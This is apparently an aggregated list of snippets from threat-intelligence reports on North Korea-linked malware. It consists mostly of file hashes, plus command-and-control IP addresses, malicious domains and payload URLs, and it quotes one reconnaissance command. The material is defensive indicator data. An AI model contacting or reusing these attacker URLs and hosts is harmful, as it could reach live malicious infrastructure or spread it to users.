⚫ 5295200468cbc4efc7e0b0673d05106d ⚫…","…sw_vers -productName && sw_vers -productVersion Get victim machine OS information File 2edf1ab615b489e228a89c617d24f66d1e780a6d5e30f6886608dfe79325acf8 EtherRAT HTA script \"shep.hta\" File…","…RAT family as the final payload. Impact Information Theft and Espionage Indicators of Compromise IP 64.227.161.158 MD5 2eebb492567f5d4727c2812a151ead68 5c88f02ebe01437130b82c4d5e87504f SHA-256…","…One of the central hosts in the bank, which was running SWI FT Alliance software , contained a full y-fledged backdoor (MD5: 2ef2703cfc9f6858ad9527588198b1b6) which has the same strong code and protocol design as a family of backdoors dubbed Romeo by Novetta .…","…4875a0a56000 afefb97605354c96d07d6e24a87798dd5891b583 e9519f91c7acfe68e614fc6d3416033334b1b68c c91f346d077efbcf45e53e4876b6b23f1e241db4 2efdf82808cd7f63ebc66f553ae94127c3d7c60b 8380d7451f9c4477dd2e8c7c0ba46471bfc6dc27 60be225d1a90070d22bf2abcc740d311041cb432 78027c3800ff58321371a28b1e2a6d7e870add60 4a93fe1e7fce…","…■ 공격자 내부 도구 로 추정되는 프로그램 공격자 의 내부 도구로 추정되는 프로그램도 발견되었다 . 공격자는 한글 파일에 악성코드를 포함하기 위해 툴을 사용했다 ( md5: 2f0492f53d348bea993b7ae5983508a6 ) . [ 분석보고서 ] Red Eyes Hacking Group © AhnLab, Inc.…","…fffb34 16c3a7f143e831dd0481d2d57aae885090e22ec55cc8282009f641755d423fcd de2d458c8e4befcd478a0010789d80997793790b18a347d10a595d6e87d91f34 2f133525f76ab0ebb0b370601673361253074c337f0b0895d0f0cb5bc261cfcb e83a08bcb4353bfd6edcdedbc9ead9ab179a620e15155b60d18153bed9892f38 6f673981892701d42159489c1b2614c098a04e4674b23e1cd0fd8911766e71a0 ad0752…","…f0 e726b59f96ab8360f323469d72b8b617 ea95109b608841d2f99a25bd2646ff43 f13a4834e3e1613857b84a1203e2e182 f3603f68aadc8bc1ea8939132f0d5252 2f3dff7779795fc01291b0a31d723aca 7e8c24bb3b50d68227ff2b7193d548dd d287dcaeaf17c9dae8a253994502ee58…","…28fb9e179c3aac449b7e4d760f6b8b7d 2a100b8de6099b06449e3084b689c32d 2e36880877f32eac56ae4502ad057b2e 2f407d8e3dee54e0c4f776e5db55ae86 324352a61a343969a93386466d232684 337edcca9ef27cfe1a76f4cffa676026 33cd80a0b3059c23eadcf263ddbb330f…","…3c a635bd019674b25038cd8f02e15eebd2 beeaca6a34fb05e73a6d8b7d2b8c2ee3 d5d48f044ff16ef6a4d5bde060ed5cee d77c8449f1efc4bfb9ebff496442bbbc 2f431c4e65af9908d2182c6a093bf262 7cc8ce5374ff9eacd38491b75cbedf89 8f339a09f0d0202cfaffbd38469490ec 46ca088d5c052738d42bbd6231cc0ed5…","…Name Kupay.dmg Size 132870749 bytes Type zlib compressed data MD5 2f6573b3ae4262f04227468aab353387 SHA1 dd9058e3a6c791b18bf561a3177788cf60cd6e91 SHA256 55eacc25e9eaba5d3f04b6cbcac2e16879b83d967596d645e5ec4b8f42656ef9 SHA512…","…Compromise (IOCs) Indicators Indicator Type Description 04e8a5c6e5797b0f436ca36452170a2f 924be824edb54f917d52e43a551c0eb2848cad8f 2f6c1def83936139425edfd611a5a1fbaa78dfd3997efec039f9fd3338360d25 MD5 SHA-1 SHA-256 .lnk file https://quantum-software.online/remote/bdg.hta Domain Malicious Domain 52b0b06ab4cf6c6b1a13d8eec2705e3b…","…침해 지표 (Indicator of Compromise) MD5 2f6fe22be1ed2a6ba42689747c9e18a0 5a223c70b65c4d74fea98ba39bf5d127 7a0c0a4c550a95809e93ab7e6bdcc290 46fd22acea614407bf11d92eb6736dc7 568f7628e6b7bb7106a1a82aebfd348d 77…","…MD5 2F9AF723E807FF44C2684E5D644EBE46 Size 38.8 KB Compilation timedatestamp None Modify Date 2013:03:17 23:41:07 File mapping object None Resource language(s)…","…malware. Impact Information Theft and Espionage Indicators of Compromise Domain Name uploader77j.disk.yandex.net MD5 2fa8f5f95577db335e649d5361c845b0 ed825fe83c096ca29754c6b4e7e98384 SHA-256…","…(SHA256: 2fb6cf5003543cb0355eba8f4242f2e34d61106c813b7bfeb5816de0e0d508f1, C2: rolls-royce-love.890m.com) From its compilation date (Sat Apr 11 22:50:54 2020 JST), we think this payload was used in the campaign…","…will analyze it. have a nice week end! IOC's & Artifacts 북한의 회색지대 전략과 대응방안.hwp md5 : C73225F976100AB972934F31B61EABCC sha1 : 2FD6AD80E0FACBB2E9C46734035E190333F0EFE3 sha256 : C6661195693D0F09D70C643F87194282593EF0D6A0E349720310D760D002E062 decrypted malware md5 : 22BEA8086D87FAC45B85BEA9E81CA142 sha1…","…5d833bcc679db38a45111269e727ec58b75c8d31 92005051ae314d61074ed94a52e76b1c3e21e7f0e8c1d1fdd497a006ce45fa61 2fdf61fdfd649f8bbf5730307a0ab5d1 b2a89eebb5be61939f5458a024c929b169b4dc85 fee4f9dabc094df24d83ec1a8c4e4ff573e5d9973caa676f58086c99561382d7…","…beacons to this hard coded IP. b05aae59b3c1d024b19c88448811debef1eada2f51761a5c41e70da3db7615a9 Tags trojan Details Name 2FF1688FE866EC2871169197F9D46936 Size 229500 bytes Type PE32 executable (GUI) Intel 80386, for MS Windows MD5 2ff1688fe866ec2871169197f9d46936 SHA1…","…Summit-24Mar-rev26Mar19.doc Last Modified Date (KST) 2019-03-27 10:06 Last Modified Name windowsmb C2 n/a MD5 2ff911b042e5d94dd78f744109851326 File Name TaskForceReport.doc Last Modified Date (KST) 2019-04-01 17:15 Last Modified Name windowsmb C2…","…Last Modified Date (KST) 2019-03-27 10:06 Last Modified Name windowsmb C2 n/a MD5 2ff911b042e5d94dd78f744109851326 File Name TaskForceReport.doc Last Modified Date (KST) 2019-04-01 17:15 Last Modified Name windowsmb…","…adb30d4dd9e1bbe82392b4c01f561e46 b591cbd3f585dbb1b55f243d5a5982bc d8249f33e07479ce9c0e44be73d3deac 0def51118a28987a929ba26c7413da29 2ff911b042e5d94dd78f744109851326 3cd67d99bcc8f3b959c255c9e8702e9f 6ead104743be6575e767986a71cf4bd9 658a8856d48aabc0ecfeb685d836621b a6588c10d9c4c2b3837cd7ce6c43f72e a7…","…Name EngineDll.dll Size 166400 bytes Type PE32 executable (DLL) (GUI) Intel 80386, for MS Windows MD5 3005f1308e4519477ac25d7bbf054899 SHA1 0cf64de7a635f5760c4684c18a6ad2983a2c0f73 SHA256 2057c0cf4617eab7c91b99975dfb1e259609c4fa512e9e08a311a9a2eb65a6cf SHA512…","…c8556d5dd6383b600a459a531beb05ff SHA-256 4cd7e92ac6a3d068683d41beabd82d82267d97aa89603c708c0dd4af637d6d67 SHA1 3024b5438f5d63cdedb1c473cba07b1825b60a1f URL…","…Indicator Type Description Detection Name 5577fffb5b5acd3771ef9dc696498f1e MD5 LNK 파일 Trojan.Agent.LNK.Gen 302725413076d1aeaee2d7f2b3692646 MD5 LNK 파일 Trojan.Agent.LNK.Gen https[://]gitlab.com/arkiler-group/at gitlab 저장소…","…2ab3df4762fbde5d86e99a1ad147850e 2e76d5316663a3dc472398b1c01cb9a8 2eb77109cce1e8afca6245c2963e52a6 302725413076d1aeaee2d7f2b3692646 30792a0c0dfad55fb2b19d3e30e9a7d4 30d5f17d5e3f85be18220a7cab0b9fff 37cec428257cd41153cf43d7f1a12652…","…of Compromise) MD5 f5842320e04c2c97d1f69cebfd47df3d 6a4c3256ff063f67d3251d6dd8229931 8b8fa6c4298d83d78e11b52f22a79100 303c5e4842613f7b9ee408e5c6721c00 639b5489d2fb79bcb715905a046d4a54 908d074f69c0bf203ed225557b7827ec 0171338d904381bbf3d1a909a48f4e92 0777781dedd57f8016b7c627411bdf2c 94…","…PE file : hanwordupdate (2).exe hashes: MD5 5a7ef48fe0e8ae65733db64ddb7f2478 SHA-1 b0ca169c6a64336e48fe8d5c0e8376212b72784c SHA-256 304d569374625857323cae7ce6a1a4bb56b32a3a0d5fdb7d4a9e7392c3f56fb3 DNS requests domain kjdnc.gp114.net Connections ip 211.115.92.200 HTTP/HTTPS requests url…","…Last Modified Date (KST) 2019-02-14 23:08 Last Modified Name JamFedura C2 http://192.186.142.74/cache/Fwvuj0.hta MD5 304d86463a1fff5183aacc17ef2b3730 File Name bot spec.docm Last Modified Date (KST) 2019-02-18 17:30 Last Modified Name JamFedura C2…","…62ed6978a 5d25e53b59bd2dcf234c6819f8cd294efe6d943d04625b9d575002362794e74a 6263530f1bde08b13872252fa1e90efc0ac5c8d433db6931316c8eb7322d23c4 30584f13c0a9d0c86562c803de350432d5a0607a06b24481ad4d92cdf7288213 → Blog → Press & News → About → Contact Us Copyright © SECAI PTE LTD All rights reaserved.…","…e562cf30d17d47347c7e6ffd249fc190 SHA1 93edc15a20aac8b5193e5b22e35dbb09848e2ca0 SHA256 30584F13C0A9D0C86562C803DE350432D5A0607A06B24481AD4D92CDF7288213 C&C : http://216.189.159.34/mir/index.php ​ 상세 분석 보고서는 support@nurilab.com 으로 문의 하시기 바랍니다.…","…8d 779f2f4839b9be4f0b8c96f117181334 07015af18cf8561866bc5b07e6f70d9a 7756b4230adfa16e18142d1dbe6934af 8346d90508b5d41d151b7098c7a3e868 30741e7e4cdd8ba9d3d074c42deac9b1 537806c02659a12c5b21efa51b2322c1 afadab22f770956712e9c47460911dad b9c2111c753b09e4cc9d497f8fd314fc b128c5db5d973be60f39862ba8bfb152 bf…","…2e76d5316663a3dc472398b1c01cb9a8 2eb77109cce1e8afca6245c2963e52a6 302725413076d1aeaee2d7f2b3692646 30792a0c0dfad55fb2b19d3e30e9a7d4 30d5f17d5e3f85be18220a7cab0b9fff 37cec428257cd41153cf43d7f1a12652 3b9d40f3d620ec87960b4350d42ccc03…","…Backdoor/Win32.Akdoor 2019.12.23.04 14 ac6f0f14c66043e5cfbc636ddec2d62c Dropper/Win32.Akdoor 2019.12.23.04 15 30bd4c48ccf59f419d489e71acd6bfca Backdoor/Win32.Akdoor 2019.12.23.04 35 [+] 관련 샘플 No.…","…2eb77109cce1e8afca6245c2963e52a6 302725413076d1aeaee2d7f2b3692646 30792a0c0dfad55fb2b19d3e30e9a7d4 30d5f17d5e3f85be18220a7cab0b9fff 37cec428257cd41153cf43d7f1a12652 3b9d40f3d620ec87960b4350d42ccc03 3e2110d233d4543830e14c78d53900f4…","…IOCs md5 a56edfef94008c77abfb4e151df934d9 30d5f17d5e3f85be18220a7cab0b9fff 5e9a80d3d4f71ecd8bf8e579a5e2449c f692c1dd797f68c34744a377482c4ed4 b77e4e9f5897f00dcbd08b2ee9bde7e8 74b1d5f857a4245aef8189ac4f409a99 6c…","…6e5198c3aae9005cc58d011a8c6f0bec 81bfe3b3204ede1fca418e44aa19b310 52a321e48902b8fbd1e984d9bd15f278 310ebb7ca19ff9b75d4054c340b0c82e ca9cb7bb06398670abc6d19186c336cd C&C 158.247.250.251 95.214.54.164 161.248.239.119 195.177.94.43 147.135.109.226…","…(2024.04.12.00) Data/BIN.EncPe (2024.04.12.00) Infostealer/Win.Agent.R579429 (2023.05.05.01) MD5 3114a3d092e269128f72cfd34812ddc8 35441efd293d9c9fb4788a3f0b4f2e6b 358122718ba11b3e8bb56340dbe94f51 68386fa9933b2dc5711dffcee0748115 6e5e5ec38454ecf94e723897a42450ea…","…Name PSLogger .dll Size 210944 bytes Type PE32+ executable (DLL) (GUI) x86-64, for MS Windows MD5 3122b0130f5135b6f76fca99609d5cbe SHA1 ce6bc34b887d60f6d416a05d5346504c54cff030 SHA256 9ea5aa00e0a738b74066c61b1d35331170a9e0a84df1cc6cef58fd46a8ec5a2e SHA512…","…것으로 확인 다운로드 내부 파일 MD5 k.zip N9371.js ae6ebf3fcde78bb6da37e302a2a579ee tt8.tmp 3126dfaee1fc0c05f62bafcbbc49782d 38243.tmp d916a1648c2de4c4e5f10fdc3f64d40d nD9327.tmp 245d729238809b580179b70b7347cf65 [표 10]…","…⚫ 16e7e127eb6fc4611680070d9b56de80 ⚫ 7bc4b78001434b68355e9b57a822b9c1 ⚫ c5f9539e0b1c84654e475a08eca772ed ⚫ 312cdb2032a5460f4a05939ea4f35c56 ⚫ 805804d1fc941796a529e52406a44305 ⚫ 3bf86507726a0c8e77ad3ce584a6cdab ⚫ fe00578715e667c204a66c93c7611559 ⚫…","…(PebbleDash) 21 MD5 7349683077ce4fcac77580848182ead9 (PebbleDash) 22 MD5 31345cc286bfb2b3edcee6c960f11c3f (PebbleDash) 23 MD5 a573b15586e4313832f269b162a04514 (PebbleDash) 24 MD5…","…Compromise MD5 548c04abddb39c52136d29cf54921fa3 SHA-256 d11b41aee220b451393598677d7e62b4ff8fb1989bcdea4a9a25a6d207c5aa39 SHA1 315d3f8ead6f173261c06c04b385737bb7a03c12 URL https://bit-albania.com/templates/hacker/css.php?na=xam1 https://bit-albania.com/templates/hacker/css.php?na=sam1 Remediation…","…IoC (Indicator of Compromise) MD5 8e4a99315a3ef443928ef25d90f84a09 17171c644307b17d231ad404e25f08b1 31662a24560b3fe1f34f0733e65509ff a196fb11a423076f66f5e4b2d02813a9 ad3433f5f64abdec7868a52341f14196 c0cac70c93d213d113001e3410c24fd2 d2b2c6646535a62e4c005613d6a036f0 e7…","…MD5 92b770b39e51c618a8556e2a5f8989a8 785028ccb1763c504626d3678a0c8fe7 34bd23adddc3ca5e252d89fed27225bd SHA-256 317d733031850427b6738dc9213890e7a4eac51fcb88f7c99b2fbca4cd77a561 56a666601e66a01cc8dcb53a470d9ea092633c76197cd13919c7749e51ebccbc b1f371ef6f978b44258ab235e79de39a8e7f7342eb0b282317cee5f5ebbd0864 SHA1…","…침해 지표 (Indicator of Compromise) ● MD5 d5dd153ac17a79723f33fb45849a533b 844fb1dddeb432d9c950965fb78d1c52 31909632fb7f1a53507f65a1ae96a519 234158822419e64d8d3c177d3169bc3e f25ae3627b4ec411882d56732e0fa433 dfa3a2ec607144b803c66816e1a996fa b9116a07ec93f3f14e805851e24b0372…","…exe Related MD5: 3baaf1a873304d2d607dbedf47d3e2b4 3195202066f026de3abfe2f966c9b304 4839370628678f0afe3e6875af010839 173c1528dc6364c44e887a6c9bd3e07c 191d2da5da0e37a3bb3cbca830a405ff 5eef25dc875cfcb441b993f7de8c9805…","…wpnprv.dll 35d38eed9168c16d2dd595fa9542a411080d12de971ea3d3c12dd5c44e454049 weapons.doc 31a9801e5e2e5fd7f66f23bc8456069b6a958e03838e431ccf7d84867f88c840 _weapons.doc.lnk 5fce9f27326549cc6091ba1f806e7c161878a2642411a941ba484b0c1c7adb8f wp.vbs…","…Sample Details SHA256 596cd0d30fe035e8be1dd9d78c1f71a8fc0e2c653d1318af26c51758339ca6bd SHA1 31acdff6710ff1e5f0b310fc42c2005a972da7b2 MD5 1a00387c696fe3b7ea9602c4cb91f14e ssdeep…","…Ransom/MDP.Command.M2255 MD5 11ec319e9984a71d80df1302fe77332d 160f7d2307bbc0e8a1b6ac03b8715e4f 26ff72b0b85e764400724e442c164046 31cbc75319ea60f45eb114c2faad21f9 478dcb54e0a610a160a079656b9582de URL…","…MD5 11ec319e9984a71d80df1302fe77332d 160f7d2307bbc0e8a1b6ac03b8715e4f 26ff72b0b85e764400724e442c164046 31cbc75319ea60f45eb114c2faad21f9 478dcb54e0a610a160a079656b9582de URL…","…MD5 SHA1 SHA256 Malicious ICO File 14b79d2f81d1c0a9c3769f7bb83e443d 31d775ab577f3cc88991d90e9ae58501dbe1f0da d0f1984b4fe896d0024533510ce22d71e05b20bad74d53fae158dc752a65782e MD5 SHA1 SHA256 Malicious ICO File…","…Hash-MD5 2b4e8612d9f8cdcf520a8b2e42779ffa Hash-MD5 c61256583c6569ac13a136bfd440ca09 Hash-MD5 31dab68b11824153b4c975399df0354f Hash-MD5 54a116ff80df6e6031059fc3036464df Hash-MD5 d6114ba5f10ad67a4131ab72531f02da Hash-MD5…","…of Compromise Domain Name hanhwa.site naverbox.p-e.kr nbox.p-e.kr spectacularfields.icu MD5 b262ac518c0114f414aaedbb4ef7c728 31e683073959e206e072711fe2570271 SHA-256…","…bce15da35d17 66776c50bcc79bbcecdbe99960e6ee39c8a31181 668b0df94c6d12ae86711ce24ce79dbe0ee2d463 9b0f22e129c73ce4c21be4122182f6dcbc351c95 31e79093d452426247a56ca0eff860b0ecc86009 Control servers 34.214.99.20/view_style.php 137.74.41.56/board.php kingkoil.com.sg/board.php Document URLs…","…e165bff5162b7402999caaad0f29b93d wncsvc.ini f62b562ee90cb5e90320626b820a7f7c 样本七 样本信息 文件名 Hash 1.chm 320d2e841d145f48f513eba516c1e796 文件运行后将加载JavaScript代码 代码经解码后指令如下，核心指令功能为 删除%AppData%路径下的CCleaner.vbs以及%Temp%目录下的info.log文件…","…(2025.01.31.02) MD5 04e5f813da28b5975d0b6445f687bc48 26d96d40e4c8aed03d80740e1d5a4559 2ea71ff410088bbe79f28e7588a6fb47 3211ef223177310021e174c928f96bab 5565b337bfba78970b73ae65b95f2c4f IP 216.219.87.41 74.50.94.175 AhnLab TIP 를 구독하시면 연관 IOC 및 상세 분석 정보를 추가적으로 확인하실 수…","…(2025.01.31.02) MD5 04e5f813da28b5975d0b6445f687bc48 26d96d40e4c8aed03d80740e1d5a4559 2ea71ff410088bbe79f28e7588a6fb47 3211ef223177310021e174c928f96bab 5565b337bfba78970b73ae65b95f2c4f IP 216.219.87.41 74.50.94.175 Gain access to related IOCs and detailed analysis by…","…2017, Last Saved Time/Date: Thu Apr 6 00:34:00 2017, Number of Pages: 1, Number of Words: 0, Number of Characters: 1, Security: 0 MD5 3229a6cea658b1b3ca5ca9ad7b40d8d4 SHA1 70730e608e2fcc68ce468ed148e965c5bacfb51c SHA256 4bd7d801d7ce3fe9c2928dbc834b296e934473f5bbcc9a1fd18af5ebd43192cd SHA512…","…Indicators of Compromise SHA256 File Name 322aa22163954ff3ff017014e357b756942a2a762f1c55455c83fd594e844fdd ******_DSS_SE.docx a3eca35d14b0e020444186a5faaba5997994a47af08580521f808b1bb83d6063 ******_PMS.docx…","….Net malware based on Quasar RAT md5 : C3885F3C1001A53EB4FBBB4B5F42163E sha1 : 322AD36BF0DB8244B64E2D3AFC1CCF5ED6685DF3 sha256 : 51a92bd57ece4a107dacabf2639b6fa06bea8992e72fc9b4305a90fcd984e752 md5 : 3A7355417EBFDB5067582916BBAF0F15 sha1 :…","…Size 413696 bytes Type PE32 executable (GUI) Intel 80386, for MS Windows MD5 34c2ac6daa44116713f882694b6b41e8 SHA1 323258353c244b373c758906d88a2bf9663abf8d SHA256 b4bf6322c67a23553d5a9af6fcd9510eb613ffac963a21e32a9ced83132a09ba SHA512…","…2a100b8de6099b06449e3084b689c32d 2e36880877f32eac56ae4502ad057b2e 2f407d8e3dee54e0c4f776e5db55ae86 324352a61a343969a93386466d232684 337edcca9ef27cfe1a76f4cffa676026 33cd80a0b3059c23eadcf263ddbb330f 348150ce9f3c49283c16d9b37e6dc354…","…Indicator of Compromise MD5 81c08366ea7fc0f933f368b120104384 723f80d1843315717bc56e9e58e89be5 7822e53536c1cf86c3e44e31e77bd088 324688238c42d7190a2b50303cbc6a3c a635bd019674b25038cd8f02e15eebd2 beeaca6a34fb05e73a6d8b7d2b8c2ee3 d5d48f044ff16ef6a4d5bde060ed5cee d77c8449f1efc4bfb9ebff496442bbbc 2f…","…of Compromise) MD5 81c08366ea7fc0f933f368b120104384 723f80d1843315717bc56e9e58e89be5 7822e53536c1cf86c3e44e31e77bd088 324688238c42d7190a2b50303cbc6a3c a635bd019674b25038cd8f02e15eebd2 beeaca6a34fb05e73a6d8b7d2b8c2ee3 d5d48f044ff16ef6a4d5bde060ed5cee d77c8449f1efc4bfb9ebff496442bbbc 2f…","…⚫ 3bf86507726a0c8e77ad3ce584a6cdab ⚫ fe00578715e667c204a66c93c7611559 ⚫ 1788a19397e0a7ab99f7445e2f8ecd8e ⚫ 325768e41af749183e1ad9a260910af3 ⚫ 2a4fe005442bea4ddcae0595099e8f3d ⚫ 22133c0f18e3382b31a81390b3a8ba4c ⚫ b20e27a003b0c43dfcd71111d5ed45f6 ⚫…","…MD5 0d195513534855e613bd7a29243565ab SHA1 80923c208c2c821ed99e1ed8f50bd549598a210c SHA256 326d7836d580c08cf4b5e587434f6e5011ebf2284bbf3e7c083a8f41dac36ddd SHA512…","…bfe5b3 3b2701a7d49a8d6002a2a202bac9b18b4bc917009da01591ab5b66f183f9c8e9 aead266f97c936799f4d5f526482d41f74daf86f8fcf49976eecbc6260b59274 327426b389a87fb41c5150f18c8a3b1b5c671eb08107a3a6917baea3db686555 ac4f6bdd6d4ef009f1108c4c8a3d58e0a19d4f73b239202dd601b0aeba5ceb54 bf838c2e46696f79964709e29880604d7172f2a3ab0f3f41d7ff8216f053c557 SHA1…","…operating systems, and keep V3 updated to the latest version to prevent Malware infections. MD5 17d97e3ee3185d82812a4014444c36f3 327617e977eefd15708568f43140e595 3d802ceaf891ea57ecd7d1d786d96a0d 5be7578bfe633fb268ad97a520abb4e1 78c219a6bec5fc30f43b62e4934646eb URL…","…Breach Stage] http://172.93.181.249/control/html/1.html MD5 1352abf9de97a0faf8645547211c3be7 1c1136c12d0535f4b90e32aa36070682 3277e0232ed6715f2bae526686232e06 3c475d80f5f6272234da821cc418a6f7 59804449f5670b4b9b3b13efdb296abb URL…","…: 0C457E1800DC1E516D97BEF2C8F05C7D9CBB461B45F9257E958C5D88EA7C5EC8 iexplorer.exe injected malware md5 : 327865FA4009FC6A4D2EAD8AA523EEFF sha1 : B889A52BE4E070FDEBED48392574029766FE603D sha256 : 55689D91DF8435A5040ABD591537BD6893166E402E6E5610E49BE76384EF9F1D C2…","…61f65bd593ea0e52ac0dfdc6bc9cd73a 461ade40b800ae80a40985594e1ac236 01022facb38cf60b052e65a682f4a127 3288c284561055044c489567fd630ac2 C2 drfeysal.com 185.21.14.249 157.180.88.26 96.62.214.5 178.16.54.208…","…(GUI) x86-64, for MS Windows MD5 acd15f4393e96fe5eb920727dc083aed SHA1 c92529097cad8996f3a3c8eb34b56273c29bdce5 SHA256 32a4de070ca005d35a88503717157b0dc3f2e8da76ffd618fca6563aec9c81f8 SHA512…","…2dd29b36664b28803819054a59934f7a358a762068b18c744281e1589af00f1f 32bfdf1744077c9365a811d66a6ea152831a60a4f94e671a83228016fc87615f 35de8163c433e8d9bf6a0097a506e3abbb8308330d3c5d1dea6db71e1d225fc3…","…c66ef8652e15b579b409170658c95d35cfd6231c7ce030b172692f911e7dcff8 f8f7720785f7e75bd6407ac2acd63f90ab6c2907d3619162dc41a8ffa40a5d03 32ec329301aa4547b4ef4800159940feb950785f1ab68d85a14d363e0ff2bc11 c66ef8652e15b579b409170658c95d35cfd6231c7ce030b172692f911e7dcff8 b05aae59b3c1d024b19c88448811debef1eada2f51761a5c41e70da3db7615a9…","…(GUI) Intel 80386, for MS Windows MD5 38fc56965dccd18f39f8a945f6ebc439 SHA1 50736517491396015afdf1239017b9abd16a3ce9 SHA256 32ec329301aa4547b4ef4800159940feb950785f1ab68d85a14d363e0ff2bc11 SHA512…","…SHA-256: 2151c1977b4555a1761c12f151969f8e853e26c396fa1a7b74ccbaf3a48f4525 SHA-256: 32ec329301aa4547b4ef4800159940feb950785f1ab68d85a14d363e0ff2bc11 SHA-256: 4a74a9fd40b63218f7504f806fce71dffefc1b1d6ca4bbaadd720b6a89d47761 SHA-256:…","…북한의 정보 탈취형 악성 문서 파일 Name 1MT 거래조건 - 20140428.doc Type Microsoft Word 문서 파일 Behavior VBA Macro SHA-256 32fb66dbb18dd189337c9eabf27016494e62523985cb2886c7427fffe921273b Description VBA Macro Embedded Word Document [ 파일 8] 기밀 금 거래 자료로 위장해 실행을 유도한 북한의 정보 탈취형 악성 문서 파일 월간…","…data block, but it has no effect on malicious code execution Executable Library Details: sha-256: 3314B6EA393E180C20DB52448AB6980343BC3ED623F7AF91DF60189FEC637744 ITW File Name : zT1fbtn.oN5L Compilation Stamp : 2024-05-13 02:01:12 UTC File…","…sophisticated malware. Impact Information Theft and Espionage Indicators of Compromise MD5 f3c087a0be0687afd78829cab2d3bc2b 3323777ca4ac2dc2c39f5c55c0c54e3c 144928fc87e1d50f5ed162bb1651ab24 89c0d2cc1e71b17449eec454161d60da SHA-256…","…2e36880877f32eac56ae4502ad057b2e 2f407d8e3dee54e0c4f776e5db55ae86 324352a61a343969a93386466d232684 337edcca9ef27cfe1a76f4cffa676026 33cd80a0b3059c23eadcf263ddbb330f 348150ce9f3c49283c16d9b37e6dc354 353311ea9b82724aa862477cae44cd39…","…Size 490705 bytes Type PE32 executable (GUI) Intel 80386, for MS Windows MD5 f5a4235ef02f34d547f71aa5434d9bb4 SHA1 338699d56f17ab91fa2da1cb446593c013ae1a01 SHA256 8c3e0204f52200325ed36db9b12aba1c5e46984d415514538a5bf10783cacdf8 SHA512…","…// Thanks for the quick takedown, Vercel! SHA256:fcbcaf9a00757fff176afed4b3b115227b02f11f0cca4a762b0b0f12723daa53 // deobf_ghost.js SHA256:338f34788c92489b4b9078d10a436df035fcae395f3ec2fd95d1e29d28e67efd // ghost.js SHA256:338f34788c92489b4b9078d10a436df035fcae395f3ec2fd95d1e29d28e67efd //…","…(2024.05.16.03) – Trojan/Win.PWS.C5068848 (2022.04.12.01) 행위 진단 – Malware/MDP.Fraud.M800 MD5 094f9a757c6dbd6030bc6dae3f8feab3 33b2b5b7c830c34c688cf6ced287e5be 468c369893d6fc6614d24ea89e149e80 4bc571925a80d4ae4aab1e8900bf753c 5df3c3e1f423f1cce5bf75f067d1d05c URL…","…Trojan/Win.PWS.C5068848 (2022.04.12.01) Behavior Detection – Malware/MDP.Fraud.M800 MD5 094f9a757c6dbd6030bc6dae3f8feab3 33b2b5b7c830c34c688cf6ced287e5be 468c369893d6fc6614d24ea89e149e80 4bc571925a80d4ae4aab1e8900bf753c 5df3c3e1f423f1cce5bf75f067d1d05c URL…","…to Sensitive Data Indicators of Compromise Domain Name cryptocopedia.com MD5 a7b23cd8b09a3ce918a77de355e9d3e5 SHA-256 33be1a646e5ed46aa707455637e2116715592d1ef63feafb0fd2f66c872a634d SHA1 1ceae13ab464747fe3a43b8040f5f86cce780afc URL https://cryptocopedia.com/upgrade/latest.asp Remediation Always be…","…2f407d8e3dee54e0c4f776e5db55ae86 324352a61a343969a93386466d232684 337edcca9ef27cfe1a76f4cffa676026 33cd80a0b3059c23eadcf263ddbb330f 348150ce9f3c49283c16d9b37e6dc354 353311ea9b82724aa862477cae44cd39 380d5a157077b7c8bdfe7c6d9628fe6d…","…matches found. ssdeep Matches No matches found. PE Metadata Compile Date 2019-07-23 20:50:45-04:00 Import Hash 33ef573774873705ce44ec95183c2e0f PE Sections MD5 Name Raw Size Entropy 49356d02c29028e4a4986d5770624266 header 1024 2.940664…","…SHA1 f9ec5982db1f1719d25337dc045f11cbf9fef959 33f7b924363ca6cd73e0860466b9c9150120e36c Remediation Block all threat indicators at your respective controls. Search for indicators of compromise (IOCs) in your environment…","…c9 421b1e1ab9951d5b8eeda5b041cb0657 d2f08e227cd528ad8b26e9bbe285ae3c 04deb35316ebe1789da042c8876c0622 af4eefa8cddc1e412fe91ad33199bd71 34239a3607d8b5b8ddd6797855f2e827 389172d2794d789727b9f7d01ec27f75 Domains: googleservice.xyz docstream.online isosecurity.xyz filestream.download coinbigex.com coin…","…53b68b9304a0462761917608ca4e60e7 3d14dd06d85f513dfa96d875fdcc0298 0cbc6df98ce1d302f51714e100560a4d a26c2442743d234ccd3b0d104e13a798 3439de0b221320f58e3432c2672c4074 a489b72510dfd07e6d05b07e8547cf25 9edbd2f21b81183770fd767b31c2458c 959e71b8f743a202eb80b65acbb60f7c d8508b3c7ba4f2b9ed1cf3ff28fd6b83 22…","…Name PSLogger .dll Size 175104 bytes Type PE32 executable (GUI) Intel 80386, for MS Windows MD5 34404a3fb9804977c6ab86cb991fb130 SHA1 b345e6fae155bfaf79c67b38cf488bb17d5be56d SHA256 c6930e298bba86c01d0fe2c8262c46b4fce97c6c5037a193904cfc634246fbec SHA512…","…2e0d13266b45024153396f002e882f15 MD5: 26f09267d0ec0d339e70561a610fb1fd MD5: 09e4f724e73fccc1f659b8a46bfa7184 DPRK: HSMBalance.exe MD5:34404a3fb9804977c6ab86cb991fb130 – Keylogger ICAS.ps1 MD5: b12325a1e6379b213d35def383da2986 – Possible PowerBrace MD5: 8a41520c89dce75a345ab20ee352fef0 – Possible…","…HSMBalance.exe MD5 34404a3fb9804977c6ab86cb991fb130 SHA1 b345e6fae155bfaf79c67b38cf488bb17d5be56d SHA256 c6930e298bba86c01d0fe2c8262c46b4fce97c6c5037a193904cfc634246fbec The open-source…","…FFFA05401511AD2A89283C52D0C86472 78D3C8705F8BAF7D34E6A6737D1CFA18 Brambul Worm File Hashes FF4721E6EDAD7D3BEC8E0C4D4A8C1D26 344D3EC0D84D2853E416C664DD577F44 F024FF4176F0036F97EBC95DECFD1D5E 3844EC6EC70347913BD1156F8CD159B8 Emails Brambul sends stolen credentials to…","…Android-Trojan/Kimsuky 2022.10.27.00 89f97e1d68e274b03bc40f6e06e2ba9a Android-Trojan/FastSpy 2022.10.28.05 3458daa0dffdc3fbb5c931f25d7a1ec0 Android-Trojan/Kimsuky 2022.12.15.01 MD5…","…matches found. ssdeep Matches No matches found. PE Metadata Compile Date 2018-02-12 15:06:28-05:00 Import Hash 347c977c6137a340c7cc0fcd5b224aef PE Sections MD5 Name Raw Size Entropy 28fc69ad12a0765af4cc06fbd261cb24 header 1024 2.672166…","…324352a61a343969a93386466d232684 337edcca9ef27cfe1a76f4cffa676026 33cd80a0b3059c23eadcf263ddbb330f 348150ce9f3c49283c16d9b37e6dc354 353311ea9b82724aa862477cae44cd39 380d5a157077b7c8bdfe7c6d9628fe6d 